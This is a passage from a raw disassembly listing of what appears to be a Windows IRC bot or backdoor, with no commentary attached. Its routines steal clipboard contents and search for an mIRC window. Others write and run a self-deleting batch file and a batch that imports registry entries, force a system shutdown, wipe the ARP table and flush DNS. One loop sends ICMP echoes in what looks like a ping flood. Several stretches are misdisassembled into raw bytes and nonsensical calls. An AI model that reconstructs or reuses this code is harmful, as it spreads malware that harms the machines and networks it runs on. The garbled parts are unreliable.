		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 20h


loc_40994F:				; CODE XREF: sub_409663+2BEj
		lea	eax, [ebp+var_200]
		push	offset dword_4299D4
		push	eax
		call	sub_4154CD
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40997C
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_40997C:				; CODE XREF: sub_409663+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B151
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409663	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40998E	proc near		; CODE XREF: seg000:0040DA89p
					; seg000:0040DABDp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_409A19
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_409A19
		cmp	[ebp+arg_8], esi
		jz	short loc_409A19
		cmp	byte ptr [eax],	0
		jz	short loc_409A19
		push	ebx
		push	edi
		call	sub_41FD5B
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_409A14
		push	[ebp+arg_4]
		push	edi
		call	sub_415AA0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_409A0D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_416D20
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_415CD0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_416EF0
		push	[ebp+arg_4]
		call	sub_415CD0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_415BF0
		push	ebx
		push	edi
		call	sub_415BE0
		add	esp, 30h
		mov	esi, edi


loc_409A0D:				; CODE XREF: sub_40998E+3Cj
		push	ebx
		call	sub_415E1D
		pop	ecx


loc_409A14:				; CODE XREF: sub_40998E+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_409A1B
; ---------------------------------------------------------------------------


loc_409A19:				; CODE XREF: sub_40998E+Cj
					; sub_40998E+13j ...
		xor	eax, eax


loc_409A1B:				; CODE XREF: sub_40998E+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40998E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409A1F	proc near		; CODE XREF: sub_40CCC1+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_415550
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_415CD0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_409A55
		or	eax, 0FFFFFFFFh
		jmp	short loc_409AC8
; ---------------------------------------------------------------------------


loc_409A55:				; CODE XREF: sub_409A1F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_409A77


loc_409A61:				; CODE XREF: sub_409A1F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_409A6E
		cmp	dl, 0Dh
		jnz	short loc_409A72


loc_409A6E:				; CODE XREF: sub_409A1F+48j
		and	byte ptr [ecx+esi], 0


loc_409A72:				; CODE XREF: sub_409A1F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_409A61


loc_409A77:				; CODE XREF: sub_409A1F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_409AA8
		lea	edi, [ebp+var_7CC]


loc_409A84:				; CODE XREF: sub_409A1F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_409AA3
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_409AA3
		cmp	ebx, 1F4h
		jge	short loc_409AA8
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_409AA3:				; CODE XREF: sub_409A1F+69j
					; sub_409A1F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_409A84


loc_409AA8:				; CODE XREF: sub_409A1F+5Dj
					; sub_409A1F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_409AC6
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4155B0
		add	esp, 0Ch


loc_409AC6:				; CODE XREF: sub_409A1F+8Ej
		mov	eax, ebx


loc_409AC8:				; CODE XREF: sub_409A1F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_409A1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_409ACC	proc near		; CODE XREF: sub_409B26+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_409B05
		push	ebx
		mov	ebx, edi


loc_409AE9:				; CODE XREF: sub_409ACC+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_409B08
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_409AE9
		pop	ebx


loc_409B05:				; CODE XREF: sub_409ACC+18j
		pop	edi
		pop	esi
		retn
sub_409ACC	endp


; =============== S U B	R O U T	I N E =======================================



sub_409B08	proc near		; CODE XREF: sub_409ACC+25p
					; sub_409B26+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_417173
		cmp	al, 61h
		pop	ecx
		jl	short loc_409B23
		cmp	al, 7Ah
		jg	short loc_409B23
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_409B23:				; CODE XREF: sub_409B08+Ej
					; sub_409B08+12j
		xor	eax, eax
		retn
sub_409B08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409B26	proc near		; CODE XREF: sub_40B231+10p
					; sub_40B263+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_415D50
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_415CD0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_415CD0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_409ACC
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_409B64:				; CODE XREF: sub_409B26+B6j
		test	esi, esi
		jle	short loc_409BE2
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417173
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_417173
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_409BDA


loc_409B8A:				; CODE XREF: sub_409B26+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_409B08
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_409BAB
		mov	eax, ecx


loc_409BAB:				; CODE XREF: sub_409B26+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_409BDE
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_417173
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_417173
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_409B8A


loc_409BDA:				; CODE XREF: sub_409B26+62j
		dec	edi
		dec	esi
		jmp	short loc_409B64
; ---------------------------------------------------------------------------


loc_409BDE:				; CODE XREF: sub_409B26+8Aj
		xor	eax, eax
		jmp	short loc_409BE7
; ---------------------------------------------------------------------------


loc_409BE2:				; CODE XREF: sub_409B26+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_409BE7:				; CODE XREF: sub_409B26+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409B26	endp

; ---------------------------------------------------------------------------


loc_409BEC:				; CODE XREF: seg000:00410985p
					; seg000:0041158Cp
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_421088	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp-100h]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 3D0000h
		add	eax, 0FF00858Dh
; ---------------------------------------------------------------------------
		db 0FFh
		dd 80088AFFh, 57F1FF9h,	7509F980h, 0F1EB4003h, 48002080h
		dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h,	21F980EBh
		dd 858DE67Ch, 0FFFFFF00h, 0A8BE5056h, 0FF0043A4h, 74680875h
		dd 6800429Bh, 200h, 0BDDCE856h,	0C4830000h, 5EC68B18h
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409C76	proc near		; CODE XREF: seg000:00411FC0p
		push	esi
		push	0
		call	ds:dword_43A348	; OpenClipboard
		test	eax, eax
		jz	short loc_409CAD
		push	1
		call	ds:dword_43A368	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_409CAD
		push	edi
		push	esi
		call	ds:dword_4210D4	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_4210D0	; GlobalUnlock
		call	ds:dword_43A3CC	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409CAD:				; CODE XREF: sub_409C76+Bj
					; sub_409C76+19j
		xor	eax, eax
		pop	esi
		retn
sub_409C76	endp


; =============== S U B	R O U T	I N E =======================================



sub_409CB1	proc near		; CODE XREF: seg000:0041137Cp
		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_43A384	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_409D2D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 3D0000h
		jmp	near ptr 0F8CBF336h
; ---------------------------------------------------------------------------
		dd 1F6856h, 0E857000Fh,	0FFFC6314h, 2474FFFDh, 53D88B14h
		dd 0B7D4E8h, 56595900h,	0C868016Ah, 55000004h, 0A3D415FFh
		dd 6A560043h, 4C96801h,	0FF550000h, 43A3D415h, 0E1E85300h
		dd 1FFFC62h, 6C15FF57h,	6A004210h, 0EB5B5801h
		db 2
; ---------------------------------------------------------------------------


loc_409D2D:				; CODE XREF: sub_409CB1+16j
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_409CB1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-11Ch]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:dword_43A434	; SearchPathA
		test	eax, eax
		jz	short near ptr loc_409DD1+1
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_421078
		push	1
		lea	eax, [ebp-11Ch]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short near ptr loc_409DD1+1
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	ebx
		call	near ptr 1360004h
		mov	edx, [ebx-75h]
		sbb	eax, offset dword_42106C
		call	ebx	; send
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	dword ptr [ebp+8]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short near ptr loc_409DD1+1
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		push	esi
		call	near ptr 1380004h
		rcl	byte ptr [esi-1], 1


loc_409DD1:				; CODE XREF: seg000:00409D5Dj
					; seg000:00409D84j ...
		rcr	dword ptr [edi+5Eh], cl
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409DD7	proc near		; CODE XREF: seg000:0040E1EFp
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_413D4D
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_43A2C0	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_409DD7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DF9	proc near		; CODE XREF: seg000:0040C145p
					; seg000:00412240p

var_72AF13BB	= byte ptr -72AF13BBh
var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_42C160, esi
		push	edi
		jz	short loc_409E1D
		cmp	ds:dword_43A448, esi
		jnz	short loc_409E1D
		push	esi
		call	sub_40B392
		pop	ecx


loc_409E1D:				; CODE XREF: sub_409DF9+13j
					; sub_409DF9+1Bj
		call	sub_415142
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 3D0000h
		dec	eax
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	near ptr loc_409F7C+1
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		call	near ptr 3D0000h
		rcl	byte ptr [edi-1], 15h
		insb
		adc	[edx+0], al	; CODE XREF: sub_409DF9+12Bj
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_415550
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415550
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_438F9C
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	near ptr 3D0000h
		nop
		push	eax
		call	near ptr 3D0000h
		xchg	eax, ecx
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_421094	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short near ptr loc_409F24+1
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 3D0000h


loc_409F24:				; CODE XREF: sub_409DF9+118j
		jge	short near ptr loc_409EB1+2
		test	[esi+edi*8-72AF0001h], esp
		test	[eax+50FFFFFDh], esp
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_4154CD
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 3D0000h
		mov	[ebp+var_72AF13BB], 45h
		test	al, 50h
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 3D0000h


loc_409F7C:				; CODE XREF: sub_409DF9+72j
		jge	short loc_409FDD
		pop	esi
		leave
		retn
sub_409DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409F81	proc near		; CODE XREF: seg000:0040C697p

var_1860	= byte ptr -1860h
var_158		= byte ptr -158h
var_58		= byte ptr -58h
var_48		= dword	ptr -48h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		mov	eax, 1860h
		call	sub_415D50
		push	esi
		push	edi
		mov	ecx, 5C1h
		mov	esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
		lea	edi, [ebp+var_1860]
		lea	eax, [ebp+var_158]
		rep movsd
		movsw
		push	offset aCAb3_bat ; "c:\\ab3.bat"
		push	eax
		movsb
		call	sub_4154CD
		pop	ecx
		xor	esi, esi
		pop	ecx
		lea	eax, [ebp+var_158]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	short loc_40A03B
		lea	eax, [ebp+var_4]
		push	esi
		push	eax


loc_409FDD:				; CODE XREF: sub_409DF9:loc_409F7Cj
		lea	eax, [ebp+var_1860]
		push	eax
		call	sub_415CD0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1860]
		push	eax
		push	edi
		call	near ptr 0D70004h
		lds	edx, [edi-1]
		adc	eax, offset dword_42106C
		push	44h
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_48], edi
		mov	[ebp+var_18], si
		push	1
		pop	eax
		push	ecx
		lea	ecx, [ebp+var_48]
		push	ecx
		push	esi
		push	esi
		push	28h
		mov	[ebp+var_1C], eax
		push	eax
		push	esi
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	esi
		call	near ptr 0D90004h
		pop	ebx


loc_40A03B:				; CODE XREF: sub_409F81+55j
		pop	edi
		pop	esi
		leave
		retn
sub_409F81	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A03F	proc near		; CODE XREF: sub_4013E9+7p
					; sub_401B7C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_43A3B8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A067
		push	[esp+arg_0]
		call	ds:dword_43A3FC	; gethostbyname
		test	eax, eax
		jnz	short loc_40A060
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40A060:				; CODE XREF: sub_40A03F+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A067:				; CODE XREF: sub_40A03F+Dj
		retn
sub_40A03F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A068	proc near		; CODE XREF: sub_40CB59+D6p
		mov	ecx, ds:dword_43A2A0
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A076
		call	ecx	; DnsFlushResolverCache

locret_40A076:				; CODE XREF: sub_40A068+Aj
		retn
sub_40A068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A077	proc near		; CODE XREF: seg000:loc_411F72p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_43A3F4	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A13D
		sub	ecx, 32h
		jz	loc_40A136
		sub	ecx, 48h
		jz	short loc_40A0D7
		sub	ecx, 6Eh
		jz	short loc_40A0D0


loc_40A0B9:				; CODE XREF: sub_40A077+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42B3F0
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		jmp	short loc_40A117
; ---------------------------------------------------------------------------


loc_40A0D0:				; CODE XREF: sub_40A077+40j
		push	offset unk_42B3B8
		jmp	short loc_40A109
; ---------------------------------------------------------------------------


loc_40A0D7:				; CODE XREF: sub_40A077+3Bj
		push	[ebp+var_8]
		call	sub_415DA9
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_415550
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A104
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_43A3F4	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40A13D
		jmp	short loc_40A0B9
; ---------------------------------------------------------------------------


loc_40A104:				; CODE XREF: sub_40A077+79j
		push	offset unk_42B374


loc_40A109:				; CODE XREF: sub_40A077+5Ej
					; sub_40A077+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_4154CD
		pop	ecx
		pop	ecx


loc_40A117:				; CODE XREF: sub_40A077+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40B151
		pop	ecx


loc_40A127:				; CODE XREF: sub_40A077+C8j
					; sub_40A077+DCj
		push	esi
		call	sub_415E1D
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40A136:				; CODE XREF: sub_40A077+32j
		push	offset unk_42B330
		jmp	short loc_40A109
; ---------------------------------------------------------------------------


loc_40A13D:				; CODE XREF: sub_40A077+29j
					; sub_40A077+89j
		cmp	[esi], edi
		jbe	short loc_40A127
		lea	ebx, [esi+4]


loc_40A144:				; CODE XREF: sub_40A077+DAj
		push	ebx
		call	ds:dword_43A3F0	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A144
		jmp	short loc_40A127
sub_40A077	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A155	proc near		; CODE XREF: sub_401BD6+268p
					; seg000:loc_40252Fp ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A31C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_43A6AC
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_4154CD
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40A155	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A1AE	proc near		; CODE XREF: seg000:004012FEp
					; seg000:00401344p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40A1D7
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40A1CA:				; CODE XREF: sub_40A1AE+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40A1CA
		pop	edi
		jmp	short loc_40A1DB
; ---------------------------------------------------------------------------


loc_40A1D7:				; CODE XREF: sub_40A1AE+Aj
		mov	edx, [esp+4+arg_0]


loc_40A1DB:				; CODE XREF: sub_40A1AE+27j
		test	esi, esi
		pop	esi
		jz	short loc_40A1E5
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40A1E5:				; CODE XREF: sub_40A1AE+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40A1AE	endp

; ---------------------------------------------------------------------------


loc_40A1FB:				; DATA XREF: seg000:0040FB6Do
		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	ds:dword_43A304	; IcmpCreateFile
		mov	[ebp+8], eax
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40A256
		lea	eax, [ebp-0C0h]
		push	eax
		call	ds:dword_43A3FC	; gethostbyname
		cmp	eax, ebx
		jz	short loc_40A25C


loc_40A256:				; CODE XREF: seg000:0040A243j
		cmp	dword ptr [ebp+8], 0FFFFFFFFh
		jnz	short near ptr loc_40A2B8+1


loc_40A25C:				; CODE XREF: seg000:0040A254j
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B474
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_40A29C
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_412D32
		add	esp, 14h


loc_40A29C:				; CODE XREF: seg000:0040A27Aj
		lea	eax, [ebp-344h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
		pop	ecx
		push	edi
		call	near ptr 3D0000h


loc_40A2B8:				; CODE XREF: seg000:0040A25Aj
		fdivr	qword ptr [ebx]
		retn
; ---------------------------------------------------------------------------
		jz	short loc_40A2C9
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-4], eax
		jmp	short loc_40A2CC
; ---------------------------------------------------------------------------


loc_40A2C9:				; CODE XREF: seg000:0040A2BBj
		mov	[ebp-4], esi


loc_40A2CC:				; CODE XREF: seg000:0040A2C7j
		push	1Ch
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_415550
		or	dword ptr [ebp-18h], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp-3Ch], eax
		jle	short loc_40A2EC
		mov	[ebp-3Ch], eax


loc_40A2EC:				; CODE XREF: seg000:0040A2E7j
		cmp	[ebp-38h], edi
		jge	short loc_40A2F4
		mov	[ebp-38h], edi


loc_40A2F4:				; CODE XREF: seg000:0040A2EFj
		xor	esi, esi
		cmp	[ebp-40h], ebx
		jle	short loc_40A321


loc_40A2FB:				; CODE XREF: seg000:0040A31Fj
		push	dword ptr [ebp-38h]
		lea	eax, [ebp-20h]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp-10320h]
		push	dword ptr [ebp-3Ch]
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+8]
		call	ds:dword_43A29C	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp-40h]
		jl	short loc_40A2FB


loc_40A321:				; CODE XREF: seg000:0040A2F9j
		push	dword ptr [ebp+8]
		call	ds:dword_43A430	; IcmpCloseHandle
		lea	eax, [ebp-0C0h]
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B434
		push	eax
		call	sub_4154CD
		add	esp, 0Ch
		cmp	[ebp-28h], ebx
		jnz	short loc_40A36A
		push	ebx
		lea	eax, [ebp-344h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-140h]
		push	eax
		push	dword ptr [ebp-144h]
		call	sub_412D32
		add	esp, 14h


loc_40A36A:				; CODE XREF: seg000:0040A348j
		lea	eax, [ebp-344h]
		push	eax
		call	sub_40B151
		push	dword ptr [ebp-30h]
		call	sub_415295
		pop	ecx
